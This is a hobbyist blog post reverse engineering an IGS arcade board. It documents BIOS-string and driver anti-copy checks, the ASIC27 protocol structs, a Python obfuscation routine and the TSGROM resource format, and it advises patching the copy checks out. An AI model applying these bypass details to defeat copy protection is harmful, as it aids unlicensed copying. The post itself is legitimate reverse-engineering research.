Gorgias' Blog

IGS Arcade Reverse Engineering Series (4) - ASIC27 Protocol and Static Analysis of TSGROM Files

Mon, 08 Sep 2025 02:23:48 +0800

Embedded Architecture Analysis

IGS’s anti-piracy technology isn’t particularly hard, but it’s extremely weird—probably because the code quality is terrible.

IGS E2000 is essentially a combination of PC + game baseboard (designed by Advantech). It has to consider both anti-piracy and software reusability. The ASIC is basically a closed-box computational module: putting the game’s key logic inside it both improves performance and makes cracking harder.

Main Executable Flow Analysis

The main game executable allocates a stack frame of 0x200034, where the buffer alone takes 0x200000. And after allocating this stack, it never restores it. This causes IDA Pro to fail to decompile—no idea if this is intentional.

The workaround is to patch the buffer size, shrink the function stack frame, undefine the function, and then re-identify it; then it can be decompiled successfully.

During mount_root in the kernel and when the game starts, it verifies BIOS version info. The developer claimed it was “getting a CRC result”, but I searched everywhere CRC appears and couldn’t find any CRC computation logic related to anti-piracy at all.
If BIOS validation fails, it then checks PCI driver information. If that fails, it seems to do nothing—but many identical validation stubs are inserted elsewhere, and failure there will block execution.
System initialization: display, audio, graphics, text, language, ASIC, timer, PLXPCI, game, music, controllers, camera, bookkeeping, control, coin, mixer, etc.
Refresh the ASIC 4 times, why???
Load the base action file (TSGROM format); each load refreshes the ASIC once.
Game version validation, show the first screen, load fonts, load sounds.
Load the card reader.
Game loop: 4 states (Game, Test, Setting, Demo), controllable via the ASIC.

The game was developed with SDL 1.2.7. SDL (Simple DirectMedia Layer) is a cross-platform multimedia development library, mainly providing low-level access to audio, input devices (keyboard/mouse/gamepad), and graphics hardware. However, its performance is relatively low and is only suitable for 2D games. Percussion Master 2008 is a 2D game. Speed Driver 2 is a 3D game, so the difference between the two may be significant.

At every place in the main executable where it interacts with the ASIC, the developer inserted a stub; I’ll temporarily call it RealTimeEvent. It should be a unified event handler: every logic change and animation change requires refreshing events. It’s used to implement various complex control functions and also bundles some anti-piracy behavior. Honestly, the code quality is awful—each call does a lot of computation, performance is poor, and it feels like building a SPA in pure JS + HTML.

Logic of the state-check stub:

Update clock
Timer check
Action handling
Music handling
Audio handling
Key status and control input
Bookkeeping
Coin handling
PLX PCI status handling
SDL event handling
Draw dynamic pentagon animation
PCI control write
ASIC 27 command write
PCI data read
Graphics refresh

Region Initialization

Percussion Master 2008 supports 7 regions and 3 languages: Simplified Chinese, Traditional Chinese, and English.

ROIO BIOS Info Verification

The kernel runs a driver /dev/roio. The game compares it against a built-in version info table to perform validation. Both the kernel and the game embed tables. The likely workflow is that the developer parsed BIOS information using some tooling and then hard-coded physical offsets into both the game and the kernel.

The BIOS info table structure differs slightly between kernel and main executable. The kernel uses 4-byte alignment, but the underlying idea is the same.

Game BIOS table:

struct bios_item {
    unsigned int index;  // index
    unsigned char table_cmp_max_count;
    unsigned int value_addr; // base addr 0xC0000000
    unsigned char char_cmp_max_count;
    unsigned int name_addr;
}

Kernel BIOS table:

struct bios_item {
    unsigned int index;  // index
    unsigned int table_cmp_max_count;
    unsigned int value_addr; // base addr 0xC0000000
    unsigned int char_cmp_max_count;
    unsigned int name_addr;
}

The comparison logic is also very simple:

Step 1: iterate the program’s built-in BIOS table to get the version string address, the target string physical address, iteration counts, etc.
Step 2: perform an IOCTL call to /dev/roio to compare the specified offset within System ROM against the program’s built-in string. If any single character matches, it passes. That’s unbelievably dumb.

This kernel only allows running on 4 motherboard variants, but the game allows running on more devices, so it needs to validate whether the main executable, kernel, and motherboard match. This is an anti-piracy mechanism—just patch it out.

Based on my analysis, the addresses and version strings are as follows; all addresses start from 0x0f0000.

# Kernel + Game
0x0F086E   i852-W83627HF
0x0FEC7C   i852-W83627HF
0x0FEC8A   6A69YILTC-00
0x0FECDE   Ph6A69YILT

# Game
0x0FE0C1   L4S5MG3
0x0FEC84   6A6IXE19C-00
0x0FECDF   I6A6IXE19
0x0FE0C1   L4S5MG/651+
0x0F006D   nVidia-nForce
0x0FECDE   Ph6A61BPA9
0x0FEC8A   6A61B_00C-00
0x0FECDE   Ph6A61B_00

Next is the ROIO driver. Most of its code has hidden anti-copy stubs and uses XOR. The performance impact is minimal, and it prevents copying game A’s program into game B’s system.

Input mask: 0x1FB8408E
Return mask: 0xC2E83AB8

ROIO has three magic numbers:

0xfc: read 32-bit value at target address, little-endian
0xfd: read 32-bit value at target address, big-endian
0xfe: read 8-bit value at target address

Finally, XOR with 0xC2E83AB8.

Here data is used as an offset. The base is 0xc0000000, and it adds the BIOS info value because x86 uses paging, so CPU memory access goes through virtual addresses. Linux i386 virtual address offset definitions are:

#define __PAGE_OFFSET (0xC0000000)
#define __pa(x)			((unsigned long) (x) - PAGE_OFFSET)
#define __va(x)			((void *)((unsigned long) (x) + PAGE_OFFSET))

From IOMEM mapping, you can also see the BIOS info address is located in System ROM:

# cat /proc/iomem
00000000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : Video RAM area
000c0000-000c7fff : Video ROM
000f0000-000fffff : System ROM
00100000-1feeffff : System RAM
  00100000-0050aab5 : Kernel code
  0050aab6-006f8f27 : Kernel data
1fef0000-1fefffff : reserved
1ff00000-1ff003ff : Intel Corp. 82801DB Ultra ATA Storage Controller
d0000000-dfffffff : PCI Bus #01
  d0000000-dfffffff : PCI device 10de:0221 (nVidia Corporation)
e0000000-e7ffffff : Intel Corp. 82852/855GM Host Bridge
e8000000-eaffffff : PCI Bus #01
  e8000000-e8ffffff : PCI device 10de:0221 (nVidia Corporation)
    e8000000-e8ffffff : nvidia
  e9000000-e9ffffff : PCI device 10de:0221 (nVidia Corporation)
eb000000-eb01ffff : PLX Technology, Inc. PCI <-> IOBus Bridge Hot Swap
eb020000-eb02007f : PLX Technology, Inc. PCI <-> IOBus Bridge Hot Swap
eb021000-eb0213ff : PLX Technology, Inc. PCI <-> IOBus Bridge Hot Swap
eb022000-eb022fff : Intel Corp. 82801BD PRO/100 VE (CNR) Ethernet Controller
  eb022000-eb022fff : e100
eb100000-eb1003ff : Intel Corp. 82801DB USB2
  eb100000-eb1003ff : ehci_hcd
eb101000-eb1011ff : Intel Corp. 82801DB AC'97 Audio Controller
  eb101000-eb1011ff : Intel 82801DB-ICH4
eb102000-eb1020ff : Intel Corp. 82801DB AC'97 Audio Controller
  eb102000-eb1020ff : Intel 82801DB-ICH4
fec00000-ffffffff : reserved

The BIOS chip package is PLCC 32, and it was successfully dumped with RT809H.

After the system boots, some BIOS ROM data is parsed into memory—not a 1:1 copy—with an offset address of 0xF0000.

PCCard Random Value Check

I truly don’t understand what the purpose of this code is. There’s a “SPY” keyword in the driver code; maybe it’s a hidden stub intended for anti-sniffing? It’s triggered when launching the program, initializing the game, and printing logs. If the BIOS check above fails, this check is also triggered. It requests /dev/pccard0 via ioctl—either to obtain the result or to not obtain it.

Request 0 list, used for comparing results. The list has 4 members corresponding to related offsets. It randomly selects one of the four, attaches a random number in the range [17, 768], computes locally, sends it to the driver to “execute”, and receives it back. In fact, PCI doesn’t truly participate.

0x64 基址：0xC8000000 设置 SPY_FLAG spy_fixec_func
0x6e 基址：0xD0000000 设置 SPY_FLAG spy_quit_func
0x96 基址：0xA8000000 设置 SPY_FLAG
0xa0 基址：0xB0000000 设置 SPY_FLAG

Request 1 list, length 17:

0xfe,0xc8,0xfd,0xa0,0x96,0x6e,0x64,0xdd,0xde,0xdf,0xe0,0xe1,0xe2,0xe3,0xe4,0xe5,0xe6

It checks whether a value in [1, 255] hits an entry in the list. It tries 5–30 times. If it hits, it decrements the attempt count by 1 and tries again. If it doesn’t hit, it requests via ioctl the offset corresponding to the random value (parameter [17, 768]), and the “magic number” is the matched value. My guess is it might be used to initialize the driver, but I can’t think of any other purpose. Why make it so complicated?

Somewhere in the main game executable, I found leftover code. The XOR constant is 0xD4AA268A. In Percussion Master 2008 I didn’t find any trigger logic; it should be a hidden stub for another game. This makes it more certain that this functionality is for anti-piracy (even though the design is awful).

ASIC 27 Protocol

A27 Initialization

Communication between the main game executable and the I/O board goes through the PLX PCI 9030 chip and exchanges data via shared memory.

After game startup and before ASIC 27 initialization, it loads the PCI 9030 driver and allocates a buffer specifically used to store the ASIC buffer, containing various state data. The developer calls it CommandPort.

Next is initializing ASIC 27. It first updates a checksum: it accumulates values such as key sensitivity, key input, light status, system mode, and buffer size located in the buffer, then stores the checksum in two locations in the buffer. Every subsequent ASIC 27 request recalculates the checksum.

It first writes 0x2024 bytes to ASIC 27 with command 0xfe, i.e., directly copying the buffer data into shared memory. After ASIC processing, the shared memory is refreshed, and it will change sm from 0x1c to other values to indicate processing completion.

ASIC will synchronize the game configuration to the OS for updating game settings. It updates the following files:

./pm2_data/storename.dat
./pm2_data/soundset.bin
./pm2_data/gameset.bin

Then it sets sm to 0, updates the checksum once more, and sends it to A27.

System Mode

From analysis, the modes are:

0x0: default mode
0x1: ASIC test data read
0x2: key test
0x3: buzzer test
0x4: light board test
0x5: coin test
0x6: trackball test
0x7: SelMode, IGS Logo
0x8: Teammark
0xc: Coin Page
0xf: option
0x14: Photo
0x10: Song Play
0x1a: CCD
0x1d: adjust volume

A27 System Mode Write State Machine

Pre-processing before sending data to ASIC. When sm is one of the following values, there is no processing logic and it returns 1:

0x0,0x2,0x3,0x6,0x9,0xa,0xb,0x11,0x12,0x15,0x16,0x17,0x18,0x19,0x1b,0x1c,0x1e

0x1: test data write
0x4: light test
0x5: coin test
0x7: SelMode
0x8: Teammark
0xc: code removed
0xe: code removed
0xf: code removed
0x10: Song
0x13: code removed
0x14: code removed
0x1a: camera test
0x1d: adjust volume

Other values trigger an assert.

A27 System Mode Analysis State Machine

Data returned by ASIC is handled by the main game executable. When sm is one of the following values, there is no processing logic and it returns 1:

0x0,0x6,0x9,0xa,0xa,0xb,0x11,0x12,0x15,0x16,0x17,0x18,0x19,0x1b,0x1c,0x1d,0x1e

System Mode handling:

0x1: ASIC test data read
0x2: enter key test
0x3: enter buzzer test
0x4: enter light board test
0x5: coin test
0x7: load IGS LOGO
0x8: load Teammark data
0xC: code removed
0xE: code removed
0xF: code removed
0x10: Song
0x13: code removed
0x14: code removed
0x1a: CCD info

Other values trigger an assert.

Key State Machine

                press
        ┌──────────────────────┐
        │                      │
   ┌────▼─────┐  release    ┌──┴─────┐
   │   Idle   │────────────►│Released│
   │   (0)    │             │   (3)  │
   └────▲─────┘             └──▲─────┘
        │                      │
        │ press                │ release
        │                      │
   ┌────┴─────┐ long press  ┌──┴─────┐
   │ Pressed  │────────────►│Holding │
   │   (1)    │             │  (2)   │ keep holding, counter++
   └──────────┘             └────────┘

Buffer Struct Analysis

The maximum length of the buffer is 8192.

The response header format:

struct g_rBufferRead {
  int    _dwBufferSize; // 数据大小
  int    system_mode;   // 系统模式
  char   coin_inserted; // 投币了
  char   a27_error_flag;
  short  error_number;
  int    key_io_list[6];
  int8   key_channels;
  char   pc0;
  char   pc1;
  int16  area_code;
  int16  padding_1;
  char   in_rom_version_name[8];
  char   ext_rom_version_name[8];
  int16  inet_password_data;
  int16  a27_has_message; // 决定 a27_message 是否携带数据
  char   is_light_io_reset;
  char   pci_card_version;
  char   bCheckSum1;
  char   bCheckSum2;
  char   a27_message[40]; 
  char   asic27_buffer[unknown];
}

The request header format:

struct g_rBufferWrite {
  int    _dwBufferSize; // 数据大小
  int    system_mode;   // 系统模式
  int    key_input;
  int16  trackball_data[4];
  char   bCheckSum1;
  char   bCheckSum2;
  char   lightdisable;
  char   key_sensitivity;
  int    lightstate;
  int    lightpattern;
  char   data[unknown];
}

A27 Response Checksum

ASIC 27 responses also carry a checksum, which the main executable verifies. It is computed by summing the following fields:

a27_has_message + inet_password_data + rd_is_light_io_reset + error_number + asic27_error + coin_inserted + system_mode[0] + buffer_size

Buffer Obfuscation Analysis

Compared to the older version, Percussion Master 2008 added a simple obfuscation layer. The goal is anti-piracy: to avoid running a copied ROM directly. When copying from the buffer into the ASIC 27 buffer, the data is obfuscated.

The obfuscation is triggered only when System Mode matches the following values. Coincidentally, the data for these modes is not pre-processed by the Write state machine.

0x7: SelMode, IGS Logo
0x8: Teammark
0xc: Coin Page
0xd:
0xe:
0xf: Option
0x13:
0x14: Photo
0x15:

During obfuscation, the program copies asic27_buffer data into dest. Using dest as the source, it processes in blocks. Each block is 0x500 = 1280 bytes. It takes a block, computes a perturbation value based on the first 4 bytes (block header) plus mask_table, and then performs a cyclic reordering of the block data according to that value, finally writing back to the buffer.

v3 = mask_table[v1[0]];
v3 ^= mask_table[v1[1]];
v3 ^= mask_table[v1[2]];
v3 ^= mask_table[v1[3]];

Use v3 to compute an offset. If remaining data is less than 0x500, use v3 % (remaining_length-4) + 4. Otherwise use a fixed v3 % 0x4FC + 4, ensuring the offset range is [4, 0x4FF].

It first copies [v3, end] into the destination, then copies [4, v3). The result is a “rotated” block. The first 4 bytes (header) are not copied in order; instead, they are skipped and then reassembled.

I asked an AI to write a Python implementation.

import random

# size: 0x400
mask_table = [0x00, 0x00, 0x00, 0x00, 0x39, 0x4E, 0xC1, 0xE6, 0x02, 0x19, 0xB1, 0xB9, 0x63, 0xCB, 0xC7, 0x9E, 0xE4, 0xCD, 0x76, 0xE7, 0x23, 0x8D, 0xB3, 0x6B, 0x3F, 0xDA, 0x89, 0xF5, 0x4D, 0xCB, 0x56, 0xB5, 0xD3, 0xA9, 0xBC, 0x2E, 0xA0, 0xE0, 0x80, 0xD6, 0x92, 0x62, 0xDE, 0xC9, 0xFD, 0x24, 0x04, 0x06, 0x4B, 0x70, 0xB2, 0x21, 0x26, 0xD1, 0xB1, 0xAF, 0xA0, 0x29, 0x29, 0x9D, 0x0C, 0x5E, 0x59, 0x09, 0xA2, 0xC9, 0xF3, 0x67, 0x4F, 0xE6, 0xCD, 0x6E, 0xF3, 0x97, 0xF1, 0xF9, 0xD1, 0xE1, 0xCD, 0x26, 0x62, 0x0D, 0xF4, 0x7A, 0x72, 0x98, 0x3C, 0x9B, 0xE2, 0x43, 0xCE, 0x54, 0xF4, 0x44, 0xE9, 0xF5, 0x22, 0xC4, 0x3F, 0xD0, 0x38, 0x5F, 0x96, 0xAD, 0x05, 0xB7, 0x18, 0x47, 0xFE, 0x00, 0x14, 0xED, 0x5B, 0x75, 0x3B, 0xF2, 0x08, 0xA2, 0x44, 0x1E, 0xE5, 0x59, 0x68, 0x4A, 0x36, 0x9E, 0xF6, 0x87, 0x74, 0xAA, 0x70, 0x68, 0x6A, 0x1B, 0xED, 0x84, 0xE9, 0xB2, 0x35, 0xC5, 0x54, 0x83, 0xE8, 0x5B, 0x05, 0xD9, 0x77, 0x9A, 0xD6, 0x20, 0xD9, 0x48, 0xA9, 0x59, 0x18, 0x40, 0xB1, 0x5A, 0x81, 0xC1, 0x96, 0x7B, 0xC7, 0x1F, 0xD5, 0x5A, 0xB1, 0x01, 0x9E, 0xA8, 0x67, 0x52, 0xF4, 0x7A, 0x39, 0x51, 0x80, 0x18, 0xC9, 0x61, 0xEE, 0x01, 0xEC, 0x19, 0x2F, 0x25, 0xBC, 0x74, 0x85, 0x6A, 0x99, 0x92, 0x6A, 0x28, 0x13, 0xF6, 0x9A, 0xED, 0x02, 0x26, 0xF4, 0x69, 0x9F, 0x1E, 0xED, 0xC3, 0x18, 0x0E, 0xBD, 0x32, 0x1F, 0x47, 0x4F, 0x55, 0x8B, 0x91, 0x75, 0xEC, 0x66, 0xC8, 0x83, 0xED, 0x2E, 0x1B, 0x0F, 0xB0, 0x65, 0xEC, 0x87, 0xD3, 0xE0, 0xE2, 0x2B, 0x16, 0xCB, 0x0A, 0x0F, 0x70, 0x64, 0x52, 0xBA, 0x38, 0x6B, 0x5C, 0xEA, 0xFD, 0xA9, 0xB1, 0x8D, 0x8F, 0x26, 0x4B, 0xD9, 0xD3, 0x40, 0x4A, 0x66, 0x33, 0xBB, 0x01, 0xCE, 0x3C, 0x3C, 0x56, 0x14, 0xAE, 0xFD, 0x05, 0x7A, 0x8F, 0x4D, 0x4D, 0x79, 0x29, 0xCC, 0x81, 0xCD, 0x07, 0x43, 0x68, 0x57, 0x0C, 0xDA, 0xDE, 0x79, 0x1D, 0xE0, 0x01, 0x8D, 0x91, 0x17, 0x55, 0x4F, 0xF8, 0x25, 0x60, 0xCE, 0x11, 0x34, 0x3F, 0x3F, 0x03, 0xA3, 0xEF, 0xFA, 0xF5, 0x13, 0xE5, 0xEA, 0x75, 0x6A, 0xD7, 0xE1, 0x65, 0x94, 0x90, 0x42, 0xC9, 0x1D, 0x7F, 0x66, 0xDB, 0x68, 0xB8, 0x18, 0x18, 0x8B, 0x22, 0x49, 0x70, 0x71, 0x88, 0x2D, 0xD9, 0x96, 0x29, 0x4B, 0xAC, 0x7F, 0x58, 0x50, 0x57, 0x0F, 0xDC, 0x4D, 0xB9, 0x53, 0x81, 0x65, 0xD9, 0xB7, 0x85, 0x10, 0xF0, 0xCE, 0x4B, 0x2B, 0xAA, 0x7F, 0x7C, 0x75, 0xBA, 0xB2, 0x01, 0x64, 0x13, 0x07, 0x0A, 0x5E, 0x3F, 0xEF, 0xFA, 0x00, 0x8B, 0x31, 0x89, 0x6A, 0xE9, 0x17, 0x81, 0xC1, 0x4D, 0xEE, 0x31, 0x8C, 0xF0, 0x3A, 0xFD, 0x77, 0x90, 0xDF, 0x7C, 0x83, 0xDF, 0xF9, 0x99, 0xE4, 0xC0, 0xE5, 0x82, 0x22, 0xBD, 0x46, 0xBC, 0xF8, 0x23, 0xE1, 0xDD, 0x48, 0xF3, 0xE1, 0xB0, 0x66, 0x13, 0x93, 0x85, 0xB8, 0xEC, 0x9B, 0xCE, 0x0C, 0xEA, 0xDD, 0x14, 0x42, 0xDF, 0x45, 0x50, 0xAE, 0xC0, 0x60, 0xB2, 0xB7, 0x16, 0xB1, 0xAD, 0x2A, 0x2E, 0x1D, 0xC8, 0xE8, 0xE9, 0xAF, 0x0F, 0x44, 0x5D, 0xC5, 0x80, 0xA6, 0xB2, 0x01, 0xCF, 0xDB, 0x96, 0x49, 0x52, 0xC2, 0xBA, 0x97, 0x36, 0xB0, 0x33, 0x59, 0x88, 0x1D, 0x5A, 0x22, 0xAD, 0xA5, 0x9C, 0xD7, 0x5B, 0x59, 0xCA, 0x83, 0x7D, 0x7B, 0xFA, 0x84, 0x22, 0x65, 0x64, 0x7C, 0xDF, 0xF3, 0xA6, 0x41, 0x49, 0x14, 0x81, 0xED, 0x3B, 0x0C, 0x0A, 0xDF, 0xF6, 0x35, 0x79, 0x98, 0xDC, 0x6A, 0x5D, 0x0E, 0x94, 0x8B, 0x87, 0x5D, 0x0A, 0xEC, 0xFA, 0xC1, 0x6C, 0xE5, 0x01, 0xFD, 0x1E, 0x54, 0x29, 0xB7, 0xC6, 0x26, 0x33, 0x49, 0x60, 0x92, 0x44, 0xD2, 0x0C, 0x1E, 0x84, 0x03, 0x2B, 0x67, 0x82, 0xC3, 0x75, 0x7E, 0x2E, 0x2B, 0xC6, 0x96, 0x6E, 0x8A, 0x5D, 0x27, 0x7A, 0x62, 0x8C, 0xFE, 0x00, 0xCA, 0xFB, 0xFA, 0xD0, 0x9A, 0xB4, 0x60, 0xD1, 0x52, 0xC8, 0xB8, 0x7A, 0x83, 0xA9, 0xAE, 0x2A, 0x14, 0xFE, 0x33, 0xB1, 0x0F, 0xA2, 0x89, 0x25, 0xC1, 0xD5, 0x3A, 0xDE, 0xED, 0x09, 0xE1, 0x49, 0x4A, 0xD7, 0x9F, 0x49, 0xF1, 0x28, 0x88, 0xD1, 0x50, 0x2C, 0x24, 0x4C, 0x09, 0x36, 0x3F, 0x15, 0xD3, 0x1D, 0xA8, 0x1F, 0xE8, 0xAD, 0xC5, 0x5F, 0x95, 0x04, 0xFE, 0x2C, 0x6E, 0xB6, 0x0E, 0xF6, 0x47, 0x4A, 0xF6, 0xAC, 0x5C, 0xBA, 0xD9, 0x35, 0xEA, 0x27, 0x41, 0xF8, 0x84, 0xF2, 0xF8, 0x74, 0x2F, 0xE4, 0xEF, 0x69, 0xC6, 0xC7, 0x4B, 0xEC, 0xD7, 0xEB, 0x83, 0x47, 0xE3, 0x82, 0x74, 0x06, 0xD2, 0x64, 0x1D, 0xEB, 0xCD, 0x7C, 0x74, 0xFC, 0xF2, 0xC9, 0x3F, 0x90, 0x14, 0xDE, 0x1B, 0x25, 0xF8, 0x52, 0xE8, 0x9D, 0xB9, 0x11, 0x0A, 0xEC, 0xA5, 0x59, 0xEA, 0x5C, 0x7E, 0x7D, 0x33, 0x79, 0xEA, 0x26, 0xF6, 0x06, 0x23, 0x4D, 0x67, 0x26, 0x88, 0x12, 0xFE, 0x13, 0x9A, 0xE9, 0x66, 0x5A, 0x4F, 0x67, 0xB1, 0xBD, 0xA2, 0x89, 0x02, 0x40, 0x01, 0x7E, 0xF2, 0x4D, 0x0E, 0x98, 0x2C, 0x40, 0x8F, 0x8F, 0x90, 0x1B, 0x9F, 0x4D, 0x84, 0xB3, 0x9A, 0x03, 0x6E, 0x71, 0x24, 0x03, 0xFC, 0xD3, 0x23, 0x14, 0x3C, 0xA8, 0x90, 0x11, 0x54, 0x07, 0xDA, 0x3A, 0xDB, 0x19, 0x94, 0xC2, 0x6E, 0x7A, 0x92, 0x9F, 0x0C, 0x0C, 0x0F, 0x7D, 0xFA, 0xA4, 0x3A, 0x9B, 0xA0, 0xBB, 0xC4, 0x5C, 0xDA, 0xCE, 0x74, 0x78, 0x88, 0x8E, 0x83, 0xD8, 0xEE, 0x21, 0x31, 0x9E, 0x75, 0xC0, 0x2E, 0x2B, 0xE9, 0x17, 0x31, 0x46, 0x39, 0xD8, 0x85, 0xBC, 0xA9, 0xF8, 0x57, 0xCA, 0xA3, 0xE0, 0x59, 0xC5, 0xF2, 0x0D, 0x52, 0x73, 0x95, 0x40, 0x7C, 0xAF, 0xB2, 0xAF, 0x14, 0x99, 0xD1, 0x62, 0xCE, 0xB3, 0xAD, 0x17, 0x5E, 0x95, 0x26, 0x8F, 0xF0, 0x2A, 0x92, 0xBF, 0xF1, 0xA1, 0x77, 0xE0, 0xF4, 0x6D, 0x62, 0xCF, 0xCE, 0x15, 0x74, 0xFD, 0x7A, 0xA5, 0xD0, 0x90, 0x75, 0x4B, 0xFE, 0xE0, 0x63, 0x5A, 0xBA, 0x8B, 0x09, 0x8B, 0xE6, 0x12, 0x71, 0xB7, 0xD4, 0xD9, 0x29, 0x1E, 0xFD, 0xEB, 0x93, 0x14, 0x0D, 0xD4, 0xA7, 0x5F, 0x04, 0x85, 0x7D, 0xDA, 0x26, 0xE4, 0x63, 0x94, 0xEC, 0x49, 0x0D, 0x21, 0xF1, 0x42, 0x20, 0x18, 0x66, 0x9F, 0xF6, 0x64, 0x5F, 0x57, 0xCE, 0x33, 0x43, 0xB2, 0x38, 0xFA, 0xF0, 0x5C, 0x1D, 0x4F, 0x65, 0xE8, 0x85, 0x1E, 0xC6, 0x9B, 0xDF, 0x85, 0x9B, 0x9D, 0xAD, 0x17, 0x81, 0x7C, 0xD5, 0x5C, 0xA8, 0xF8, 0x81, 0x40, 0x13, 0x38, 0xF0, 0x00, 0x5B, 0x73, 0xD3, 0xF0, 0x2D, 0x38, 0x00, 0xD7, 0x87, 0x47, 0x82, 0x81, 0xAF, 0xA5, 0xC8, 0x2D, 0x0C, 0xCC, 0x52, 0x2C, 0x5A, 0x09, 0x07, 0x38, 0xAB, 0x4D, 0x01, 0x4B, 0x11, 0x8C, 0xAF, 0x63, 0x25, 0x00, 0x82, 0x25, 0xA2, 0x77, 0x71, 0x07, 0x7B, 0x71, 0x95, 0x14, 0xD1, 0x23, 0x3D, 0x6C, 0x4E, 0xD7, 0x0C, 0x61, 0x7D, 0xFA, 0xC6, 0xCB, 0x6F, 0x6C, 0x97, 0x65, 0x57, 0x23, 0xEB, 0x7E, 0xCF, 0x89, 0x37, 0x69, 0x52, 0x19, 0x7F, 0xED, 0x1F, 0x96, 0xAD, 0xC6, 0x3C, 0x04, 0x31, 0x42, 0x31, 0xCD, 0xBB, 0xB5, 0xD9, 0x5D, 0xF2, 0xE5, 0xF4, 0x77, 0x21, 0xAF, 0xE8, 0x3E, 0xA5, 0x20, 0x2B, 0xFC, 0xE1, 0xDC, 0x5A, 0x2F, 0xEA, 0x5B, 0x85, 0x96, 0xBA, 0x97, 0xE1, 0x48, 0xA1, 0xC0]

BLOCK_SIZE = 0x500

def obfuscate_block(block: bytes) -> bytes:
    """Obfuscate a single 0x500 byte block"""
    if len(block) < 4:
        return block

    block_header = block[:4]

    obfs_value = mask_table[block_header[0]]
    for i in range(1, 4):
        obfs_value ^= mask_table[block_header[i]]

    # Calculate offset (range 4 ~ 0x4FF)
    obfs_value = obfs_value % 0x4FC + 4

    # Data reordering:
    #   [obfs_value:end] + [4:obfs_value]
    part1 = block[obfs_value:]       # From obfs_value to end
    part2 = block[4:obfs_value]      # From 4 to obfs_value
    new_block = part1 + part2
    return new_block


def deobfuscate_block(block: bytes, header: bytes) -> bytes:
    """Deobfuscate a single 0x500 byte block, requires original header"""
    if len(block) < 4:
        return block

    # Re-calculate perturbation value (must use original header)
    obfs_value = mask_table[header[0]]
    for i in range(1, 4):
        obfs_value ^= mask_table[header[i]]
    obfs_value = obfs_value % 0x4FC + 4

    # The block arrangement rule is:
    #   new_block = block[obfs_value:] + block[4:obfs_value]
    # We need to reverse this to reconstruct the original
    part1_len = len(block) - (obfs_value - 4)  # Corresponds to obfs_value ~ end
    part1 = block[:part1_len]
    part2 = block[part1_len:]

    # Restore to [0:4] + [4:obfs_value] + [obfs_value:end]
    original = header + part2 + part1
    return original


def obfuscate(data: bytes) -> bytes:
    out = bytearray()
    for i in range(0, len(data), BLOCK_SIZE):
        block = data[i:i+BLOCK_SIZE]
        out.extend(obfuscate_block(block))
    return bytes(out)


def deobfuscate(data: bytes, headers: list[bytes]) -> bytes:
    out = bytearray()
    for idx, i in enumerate(range(0, len(data), BLOCK_SIZE)):
        block = data[i:i+BLOCK_SIZE]
        header = headers[idx]
        out.extend(deobfuscate_block(block, header))
    return bytes(out)


if __name__ == "__main__":
    data = bytearray()
    headers = []
    for blk in range(3):
        header = bytes([blk, blk+1, blk+2, blk+3])
        headers.append(header)
        body = bytes([blk]* (BLOCK_SIZE - 4))
        data.extend(header + body)

    print("First 32 bytes of original data:", data[:32])

    obfs = obfuscate(data)
    print("First 32 bytes of obfuscated data:", obfs[:32])

    deobfs = deobfuscate(obfs, headers)
    print("First 32 bytes of deobfuscated data:", deobfs[:32])
    print("Deobfuscation correct:", deobfs == data)

TSGROM Parsing

TSGROM is the game’s multimedia resource file, containing scripts and textures—similar to Unity’s assets.

The TSGROM version supported by PM2008 is at least 00.0000.0004, consistent with PM1. The code is crude and brute-force—full of while(1).

Some ROMs don’t carry version information, and I’m not sure what they’re for—for example, biglogo.rom. It has a lot of LZSS image data, but it doesn’t match the color format in the code, so it’s likely historical baggage.

TSGROM can be loaded from a file or from RAM. After the first load, it’s stored in RAM, so subsequent operations don’t need to touch the file again.

PM2008 supports TGA, BMP, and PCX graphics. The TSGROM format is long and boring; it’s not worth expanding into a full analysis. I wrote a script to parse TSGROM: igs-toolkits tsgrom_loader

(base) ➜  tsgrom_loader git:(master) ✗ python ./tsgrom_loader.py -f ./test/resultl.rom -o ./test/resultl --format png
TSGROM Header:
  Header: TSGROM01
  Version: 00.0000.0004
  Length: 0
  Data Zones: 2276
  Data Type Counts:
       SOUND: 1
    ACTBLOCK: 531
    ACTINDEX: 1
    ACT_DATA: 60
    ACT_POOL: 531
    ACT_STEP: 975
    BASEDATA: 1
    BMP_OPSS: 18
    MTV_INAC: 1
    PALETTE1: 1
    TGA_OPSS: 156
Found 174 image data zones

Taking IGS Logo as an example, after extraction you get each frame image of the animation.

Action Parser

IGS’s TSGROM defines various graphical behaviors of the game and calls them actions. The main executable implements functionality by parsing actions. If you want to run the main game executable on a PC, various game events are related to the A27 protocol, so you need to reverse the corresponding actions. But I want to try the most “perfect” cracking approach: dump the ASIC ROM and run it in an emulator. I don’t want to analyze this pile of spaghetti code.

ACT BLOCK: number of data blocks
ACT INDEX: ACT index
ACT DATA: action data
ACT POOL: action data
ACT STEP: animation frames

The main executable is stripped, so analysis is time-consuming. Here are brief notes:

When loading a TSGROM, the program loads act_data into memory; based on the number of act_pool, it also loads pool data into memory. Each TSGROM gets an independent Group ID. The action-related functions distinguish by Group ID. There can be up to 0x80 action groups, each group length is 0x2AA4. Each group also has a corresponding index; action index size is 0xaa9, and the list length is also 0x80.

Before loading tsgrom, it first creates action objects: a total of 1024 action_data instances, each action_data is 0x8D bytes.

Then it calls ActionUse to initialize act_data and allocate graphics display resources. It uses ActionFace, ActionShow, etc. to configure graphics display control, and finally calls RealTimeEvent to refresh the screen in a unified way.

TSG ROM Hidden Stub

IGS intentionally corrupts certain blocks in the resource files. They must be dynamically repaired via the ASIC chip. This is also IGS’s anti-piracy mechanism, preventing crackers from modifying animation files to reskin games.

IGS Logo:

Teammark:

Taking IGS Logo as an example: when a marker field in the buffer matches 1, it indicates the packet type is resource repair. When iterating to a specific block (7 in this case), it appends 0x400 bytes from ASIC 27 to the corresponding corrupted region, completing the resource repair.

Closing Notes

IGS tightly couples the game’s main executable with hardware. Porting the game to another platform requires a significant amount of effort.

The game framework and song charts are implemented as state machines and are relatively complex; they’re not within my cracking target.

Documenting reverse engineering in blog posts feels even more exhausting than the work itself. When reversing for yourself, you only need to record some data; but to make it into an article, you have to write it in a way others can understand.

Next topic: IGS Arcade Reverse Engineering Series (5) - ASIC27 Protocol Hooking and Main Executable Patching

Commemorating the Blood Moon. Praise the Lady.

IGS Arcade Reverse Engineering Series (3) - Getting a Shell

Mon, 23 Jun 2025 23:03:18 +0800

I’ve made quite a bit of progress lately, but I’ve hit a bottleneck. There are probably about three more posts’ worth of material. I’ve been very busy recently, so I’m publishing part three first.

